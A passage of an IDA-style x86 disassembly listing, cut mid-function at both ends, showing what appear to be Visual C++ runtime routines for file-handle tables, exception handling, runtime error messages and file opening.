mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4232E3
xor esi, esi
jmp short loc_4232EE
; ---------------------------------------------------------------------------
loc_4232E3: ; CODE XREF: ___:004232DDj
push ebp
push edi
push esi
call sub_41C310
add esp, 0Ch
loc_4232EE: ; CODE XREF: ___:004232E1j
push edi
nop
call near ptr 2620CA8h
mov eax, esi
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232F9: ; CODE XREF: ___:00423209j
; ___:00423231j ...
xor eax, eax
loc_4232FB: ; CODE XREF: ___:004232A6j
; ___:004232F7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423322
push 1Bh
call sub_41DA29
pop ecx
loc_423322: ; CODE XREF: ___:00423318j
mov dword_4DCCA0, esi
mov dword_4DCDA0, 20h
lea eax, [esi+100h]
loc_423338: ; CODE XREF: ___:00423354j
cmp esi, eax
jnb short loc_423356
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DCCA0
add esi, 8
add eax, 100h
jmp short loc_423338
; ---------------------------------------------------------------------------
loc_423356: ; CODE XREF: ___:0042333Aj
lea eax, [esp+10h]
push eax
call near ptr 2880000h
nop
cmp word ptr [esp+42h], 0
jz loc_423432
mov eax, [esp+44h]
test eax, eax
jz loc_423432
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_42338C
mov esi, eax
loc_42338C: ; CODE XREF: ___:00423388j
cmp dword_4DCDA0, esi
jge short loc_4233E6
mov edi, offset dword_4DCCA4
loc_423399: ; CODE XREF: ___:004233DCj
push 100h
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4233E0
add dword_4DCDA0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_4233B7: ; CODE XREF: ___:004233D1j
cmp eax, ecx
jnb short loc_4233D3
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_4233B7
; ---------------------------------------------------------------------------
loc_4233D3: ; CODE XREF: ___:004233B9j
add edi, 4
cmp dword_4DCDA0, esi
jl short loc_423399
jmp short loc_4233E6
; ---------------------------------------------------------------------------
loc_4233E0: ; CODE XREF: ___:004233A6j
mov esi, dword_4DCDA0
loc_4233E6: ; CODE XREF: ___:00423392j
; ___:004233DEj
xor edi, edi
test esi, esi
jle short loc_423432
loc_4233EC: ; CODE XREF: ___:00423430j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423429
mov cl, [ebp+0]
test cl, 1
jz short loc_423429
test cl, 8
jnz short loc_42340B
push eax
nop
call near ptr 2620000h
test eax, eax
jz short loc_423429
loc_42340B: ; CODE XREF: ___:004233FEj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCCA0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423429: ; CODE XREF: ___:004233F1j
; ___:004233F9j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4233EC
loc_423432: ; CODE XREF: ___:00423367j
; ___:00423373j ...
xor ebx, ebx
loc_423434: ; CODE XREF: ___:00423497j
mov eax, dword_4DCCA0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_42348F
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_42344F
push 0FFFFFFF6h
pop eax
jmp short loc_423459
; ---------------------------------------------------------------------------
loc_42344F: ; CODE XREF: ___:00423448j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423459: ; CODE XREF: ___:0042344Dj
push eax
nop
call near ptr 262080Eh
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_42347E
push edi
call near ptr 2620000h
nop
test eax, eax
jz short loc_42347E
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423484
loc_42347E: ; CODE XREF: ___:00423465j
; ___:00423470j
or byte ptr [esi+4], 40h
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_423484: ; CODE XREF: ___:0042347Cj
cmp eax, 3
jnz short loc_423493
or byte ptr [esi+4], 8
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_42348F: ; CODE XREF: ___:00423440j
or byte ptr [esi+4], 80h
loc_423493: ; CODE XREF: ___:00423482j
; ___:00423487j ...
inc ebx
cmp ebx, 3
jl short loc_423434
push dword_4DCDA0
nop
call near ptr 26209DFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao
; sub_42218C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423558
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4234EB: ; CODE XREF: sub_4234B8+90j
cmp esi, 0FFFFFFFFh
jz short loc_423551
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42353F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42353F
js short loc_42354A
mov edi, [ebx+8]
push ebx
call sub_41CB74
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41CBB6
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41CC4A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42353F: ; CODE XREF: sub_4234B8+40j
; sub_4234B8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4234EB
; ---------------------------------------------------------------------------
loc_42354A: ; CODE XREF: sub_4234B8+54j
mov eax, 0
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423551: ; CODE XREF: sub_4234B8+36j
mov eax, 1
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423558: ; CODE XREF: sub_4234B8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41CBB6
add esp, 8
pop ebp
mov eax, 1
loc_42356D: ; CODE XREF: sub_4234B8+97j
; sub_4234B8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4234B8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41CBB6
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423590 proc near ; CODE XREF: sub_41DA29+9p
mov eax, dword_4DB9D0
cmp eax, 1
jz short loc_4235A7
test eax, eax
jnz short locret_4235C8
cmp dword_43A9A4, 1
jnz short locret_4235C8
loc_4235A7: ; CODE XREF: sub_423590+8j
push 0FCh
call sub_4235C9
mov eax, dword_4DBB3C
pop ecx
test eax, eax
jz short loc_4235BD
call eax
loc_4235BD: ; CODE XREF: sub_423590+29j
push 0FFh
call sub_4235C9
pop ecx
locret_4235C8: ; CODE XREF: sub_423590+Cj
; sub_423590+15j
retn
sub_423590 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p
; sub_423590+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D038
loc_4235DC: ; CODE XREF: sub_4235C9+20j
cmp edx, [eax]
jz short loc_4235EB
add eax, 8
inc ecx
cmp eax, offset off_43D0C8
jl short loc_4235DC
loc_4235EB: ; CODE XREF: sub_4235C9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D038[esi]
jnz loc_423719
mov eax, dword_4DB9D0
cmp eax, 1
jz loc_4236F3
test eax, eax
jnz short loc_42361C
cmp dword_43A9A4, 1
jz loc_4236F3
loc_42361C: ; CODE XREF: sub_4235C9+44j
cmp edx, 0FCh
jz loc_423719
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 2670000h
nop
test eax, eax
jnz short loc_423653
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_423653: ; CODE XREF: sub_4235C9+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41AFE0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423696
lea eax, [ebp+var_1A4]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41B5F0
add esp, 10h
loc_423696: ; CODE XREF: sub_4235C9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41BEB0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41BEC0
lea eax, [ebp+var_A0]
push offset asc_427C08 ; "\n\n"
push eax
call sub_41BEC0
push off_43D03C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41BEC0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_424D78
add esp, 2Ch
pop edi
jmp short loc_423719
; ---------------------------------------------------------------------------
loc_4236F3: ; CODE XREF: sub_4235C9+3Cj
; sub_4235C9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D03C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41AFE0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 262080Eh
push eax
nop
call near ptr 26F0000h
loc_423719: ; CODE XREF: sub_4235C9+2Ej
; sub_4235C9+59j ...
pop esi
leave
retn
sub_4235C9 endp
; =============== S U B R O U T I N E =======================================
sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DCCA0
loc_42372B: ; CODE XREF: sub_42371C+48j
mov eax, [ecx]
test eax, eax
jz short loc_423768
lea edx, [eax+100h]
loc_423737: ; CODE XREF: sub_42371C+28j
cmp eax, edx
jnb short loc_423757
test byte ptr [eax+4], 1
jz short loc_423746
add eax, 8
jmp short loc_423737
; ---------------------------------------------------------------------------
loc_423746: ; CODE XREF: sub_42371C+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4237AB
loc_423757: ; CODE XREF: sub_42371C+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DCDA0
jl short loc_42372B
jmp short loc_4237AB
; ---------------------------------------------------------------------------
loc_423768: ; CODE XREF: sub_42371C+13j
mov esi, 100h
push esi
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4237AB
add dword_4DCDA0, 20h
lea ecx, ds:4DCCA0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_42378E: ; CODE XREF: sub_42371C+88j
cmp eax, edx
jnb short loc_4237A6
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_42378E
; ---------------------------------------------------------------------------
loc_4237A6: ; CODE XREF: sub_42371C+74j
shl edi, 5
mov ebx, edi
loc_4237AB: ; CODE XREF: sub_42371C+39j
; sub_42371C+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_42371C endp
; =============== S U B R O U T I N E =======================================
sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DCDA0
push edi
jnb short loc_423811
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DCCA0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423811
cmp dword_43A9A4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_423807
sub eax, 0
jz short loc_4237FE
dec eax
jz short loc_4237F9
dec eax
jnz short loc_423807
push ebx
push 0FFFFFFF4h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237F9: ; CODE XREF: sub_4237B1+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237FE: ; CODE XREF: sub_4237B1+3Bj
push ebx
push 0FFFFFFF6h
loc_423801: ; CODE XREF: sub_4237B1+46j
; sub_4237B1+4Bj
nop
call near ptr 2610D9Bh
loc_423807: ; CODE XREF: sub_4237B1+36j
; sub_4237B1+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_423825
; ---------------------------------------------------------------------------
loc_423811: ; CODE XREF: sub_4237B1+Cj
; sub_4237B1+28j
and dword_4DB95C, 0
mov dword_4DB958, 9
or eax, 0FFFFFFFFh
loc_423825: ; CODE XREF: sub_4237B1+5Ej
pop edi
pop esi
retn
sub_4237B1 endp
; =============== S U B R O U T I N E =======================================
sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DCDA0
push edi
jnb short loc_42388B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DCCA0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_42388B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_42388B
cmp dword_43A9A4, 1
jnz short loc_423881
xor eax, eax
sub ecx, eax
jz short loc_423878
dec ecx
jz short loc_423873
dec ecx
jnz short loc_423881
push eax
push 0FFFFFFF4h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423873: ; CODE XREF: sub_423828+41j
push eax
push 0FFFFFFF5h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423878: ; CODE XREF: sub_423828+3Ej
push eax
push 0FFFFFFF6h
loc_42387B: ; CODE XREF: sub_423828+49j
; sub_423828+4Ej
nop
call near ptr 2610D9Bh
loc_423881: ; CODE XREF: sub_423828+38j
; sub_423828+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_42389F
; ---------------------------------------------------------------------------
loc_42388B: ; CODE XREF: sub_423828+Cj
; sub_423828+2Aj ...
and dword_4DB95C, 0
mov dword_4DB958, 9
or eax, 0FFFFFFFFh
loc_42389F: ; CODE XREF: sub_423828+61j
pop edi
pop esi
retn
sub_423828 endp
; =============== S U B R O U T I N E =======================================
sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p
; sub_41DA72+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCDA0
jnb short loc_4238CA
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCCA0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4238CA
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4238CA: ; CODE XREF: sub_4238A2+Aj
; sub_4238A2+23j
and dword_4DB95C, 0
mov dword_4DB958, 9
or eax, 0FFFFFFFFh
retn
sub_4238A2 endp
; =============== S U B R O U T I N E =======================================
sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCDA0
jnb short loc_423928
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DCCA0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423928
push eax
call sub_4238A2
pop ecx
push eax
nop
call near ptr 261075Eh
test eax, eax
jnz short loc_42391D
nop
call near ptr 2680ABEh
jmp short loc_42391F
; ---------------------------------------------------------------------------
loc_42391D: ; CODE XREF: sub_4238DF+34j
xor eax, eax
loc_42391F: ; CODE XREF: sub_4238DF+3Cj
test eax, eax
jz short locret_423935
mov dword_4DB95C, eax
loc_423928: ; CODE XREF: sub_4238DF+Aj
; sub_4238DF+22j
mov dword_4DB958, 9
or eax, 0FFFFFFFFh
locret_423935: ; CODE XREF: sub_4238DF+42j
retn
sub_4238DF endp
; =============== S U B R O U T I N E =======================================
sub_423936 proc near ; DATA XREF: ___:00429024o
mov eax, dword_4DCC80
push esi
push 14h
test eax, eax
pop esi
jnz short loc_42394A
mov eax, 200h
jmp short loc_423950
; ---------------------------------------------------------------------------
loc_42394A: ; CODE XREF: sub_423936+Bj
cmp eax, esi
jge short loc_423955
mov eax, esi
loc_423950: ; CODE XREF: sub_423936+12j
mov dword_4DCC80, eax
loc_423955: ; CODE XREF: sub_423936+16j
push 4
push eax
call sub_424E01
pop ecx
mov dword_4DBC78, eax
test eax, eax
pop ecx
jnz short loc_423989
push 4
push esi
mov dword_4DCC80, esi
call sub_424E01
pop ecx
mov dword_4DBC78, eax
test eax, eax
pop ecx
jnz short loc_423989
push 1Ah
call sub_41DA29
pop ecx
loc_423989: ; CODE XREF: sub_423936+30j
; sub_423936+49j
xor ecx, ecx
mov eax, offset off_43D0C8
loc_423990: ; CODE XREF: sub_423936+6Ej
mov edx, dword_4DBC78
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D348
jl short loc_423990
xor edx, edx
mov ecx, offset dword_43D0D8
loc_4239AD: ; CODE XREF: sub_423936+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DCCA0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4239CA
test eax, eax
jnz short loc_4239CD
loc_4239CA: ; CODE XREF: sub_423936+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4239CD: ; CODE XREF: sub_423936+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D138
jl short loc_4239AD
pop esi
retn
sub_423936 endp
; =============== S U B R O U T I N E =======================================
sub_4239DB proc near ; DATA XREF: ___:00429034o
; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES
call sub_41DBE7
cmp byte_4DB998, 0
jz short locret_4239EE
jmp loc_424EB2
; ---------------------------------------------------------------------------
locret_4239EE: ; CODE XREF: sub_4239DB+Cj
retn
sub_4239DB endp
; =============== S U B R O U T I N E =======================================
sub_4239EF proc near ; CODE XREF: sub_41F043+32p
; sub_41F58A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBB40
push 1000h
call sub_41B4D5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_423A18
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_423A29
; ---------------------------------------------------------------------------
loc_423A18: ; CODE XREF: sub_4239EF+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_423A29: ; CODE XREF: sub_4239EF+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4239EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_423A59
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_423A64
; ---------------------------------------------------------------------------
loc_423A59: ; CODE XREF: sub_423A33+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_423A64: ; CODE XREF: sub_423A33+24j
mov eax, 8000h
test ecx, eax
jnz short loc_423A7E
test ch, 40h
jnz short loc_423A7A
cmp dword_4DBC50, eax
jz short loc_423A7E
loc_423A7A: ; CODE XREF: sub_423A33+3Dj
or [ebp+var_1], 80h
loc_423A7E: ; CODE XREF: sub_423A33+38j
; sub_423A33+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_423AB6
dec eax
jz short loc_423AAD
dec eax
jz short loc_423AA4
loc_423A8F: ; CODE XREF: sub_423A33+9Fj
; sub_423A33+E8j ...
mov dword_4DB958, 16h
mov dword_4DB95C, ebx
jmp loc_423CC9
; ---------------------------------------------------------------------------
loc_423AA4: ; CODE XREF: sub_423A33+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AAD: ; CODE XREF: sub_423A33+57j
mov [ebp+var_C], 40000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AB6: ; CODE XREF: sub_423A33+54j
mov [ebp+var_C], 80000000h
loc_423ABD: ; CODE XREF: sub_423A33+78j
; sub_423A33+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_423AEB
cmp eax, 20h
jz short loc_423AE2
cmp eax, 30h
jz short loc_423AD9
cmp eax, 40h
jnz short loc_423A8F
mov [ebp+var_10], esi
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AD9: ; CODE XREF: sub_423A33+9Aj
mov [ebp+var_10], 2
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AE2: ; CODE XREF: sub_423A33+95j
mov [ebp+var_10], 1
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AEB: ; CODE XREF: sub_423A33+90j
mov [ebp+var_10], ebx
loc_423AEE: ; CODE XREF: sub_423A33+A4j
; sub_423A33+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_423B38
jz short loc_423B33
cmp ecx, ebx
jz short loc_423B33
cmp ecx, edi
jz short loc_423B2A
cmp ecx, 200h
jz short loc_423B51
cmp ecx, 300h
jnz loc_423A8F
mov [ebp+var_8], 2
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B2A: ; CODE XREF: sub_423A33+D8j
mov [ebp+var_8], 4
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B33: ; CODE XREF: sub_423A33+D0j
; sub_423A33+D4j
mov [ebp+var_8], esi
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B38: ; CODE XREF: sub_423A33+CEj
cmp ecx, 500h
jz short loc_423B5A
cmp ecx, 600h
jz short loc_423B51
cmp ecx, edx
jz short loc_423B5A
jmp loc_423A8F
; ---------------------------------------------------------------------------
loc_423B51: ; CODE XREF: sub_423A33+E0j
; sub_423A33+113j
mov [ebp+var_8], 5
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B5A: ; CODE XREF: sub_423A33+10Bj
; sub_423A33+117j
mov [ebp+var_8], 1
loc_423B61: ; CODE XREF: sub_423A33+F5j
; sub_423A33+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_423B80
mov ecx, dword_4DB960
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_423B80
push 1
pop esi
loc_423B80: ; CODE XREF: sub_423A33+138j
; sub_423A33+148j
test al, 40h
jz short loc_423B8E
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_423B8E: ; CODE XREF: sub_423A33+14Fj
test ah, 10h
jz short loc_423B95
or esi, edi
loc_423B95: ; CODE XREF: sub_423A33+15Ej
test al, 20h
jz short loc_423BA1
or esi, 8000000h
jmp short loc_423BAB
; ---------------------------------------------------------------------------
loc_423BA1: ; CODE XREF: sub_423A33+164j
test al, 10h
jz short loc_423BAB
or esi, 10000000h
loc_423BAB: ; CODE XREF: sub_423A33+16Cj
; sub_423A33+170j
call sub_42371C
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423BCC
and dword_4DB95C, 0
mov dword_4DB958, 18h
jmp short loc_423C0A
; ---------------------------------------------------------------------------
loc_423BCC: ; CODE XREF: sub_423A33+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 27009D7h
mov esi, eax
cmp esi, edi
jz short loc_423BFD
push esi
nop
call near ptr 2620000h
test eax, eax
jnz short loc_423C11
push esi
nop
call near ptr 2660919h
loc_423BFD: ; CODE XREF: sub_423A33+1B6j
nop
call near ptr 2680ABEh
push eax
call sub_4203DF
pop ecx
loc_423C0A: ; CODE XREF: sub_423A33+197j
mov eax, edi
jmp loc_423CE7
; ---------------------------------------------------------------------------
loc_423C11: ; CODE XREF: sub_423A33+1C1j
cmp eax, 2
jnz short loc_423C1C
or [ebp+var_1], 40h
jmp short loc_423C25
; ---------------------------------------------------------------------------
loc_423C1C: ; CODE XREF: sub_423A33+1E1j
cmp eax, 3
jnz short loc_423C25
or [ebp+var_1], 8
loc_423C25: ; CODE XREF: sub_423A33+1E7j
; sub_423A33+1ECj
push esi
push ebx
call sub_4237B1
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DCCA0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423CCE
test al, 80h
jz short loc_423CCE
test byte ptr [ebp+arg_4], 2
jz short loc_423CCE
push 2
push 0FFFFFFFFh
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423C83
cmp dword_4DB95C, 83h
jz short loc_423CCE
jmp short loc_423CC2
; ---------------------------------------------------------------------------
loc_423C83: ; CODE XREF: sub_423A33+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F11C
add esp, 0Ch
test eax, eax
jnz short loc_423CB0
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423CB0
push [ebp+var_10]
push ebx
call sub_424F0A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423CC2
loc_423CB0: ; CODE XREF: sub_423A33+265j
; sub_423A33+26Bj
push 0
push 0
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423CCE
loc_423CC2: ; CODE XREF: sub_423A33+24Ej
; sub_423A33+27Bj
push ebx
call sub_41DA72
pop ecx
loc_423CC9: ; CODE XREF: sub_423A33+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423CE7
; ---------------------------------------------------------------------------
loc_423CCE: ; CODE XREF: sub_423A33+221j
; sub_423A33+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423CE5
test byte ptr [ebp+arg_4], 8
jz short loc_423CE5
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423CE5: ; CODE XREF: sub_423A33+29Fj
; sub_423A33+2A5j
mov eax, ebx
loc_423CE7: ; CODE XREF: sub_423A33+1D9j
; sub_423A33+299j
pop edi
pop esi
pop ebx
leave
retn
sub_423A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep
; sub_4200E8+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C48
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBB48
xor ebx, ebx
cmp eax, ebx
jnz short loc_423D5B
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427938
push esi
nop
call near ptr 2600591h
test eax, eax
jz short loc_423D39
mov eax, esi
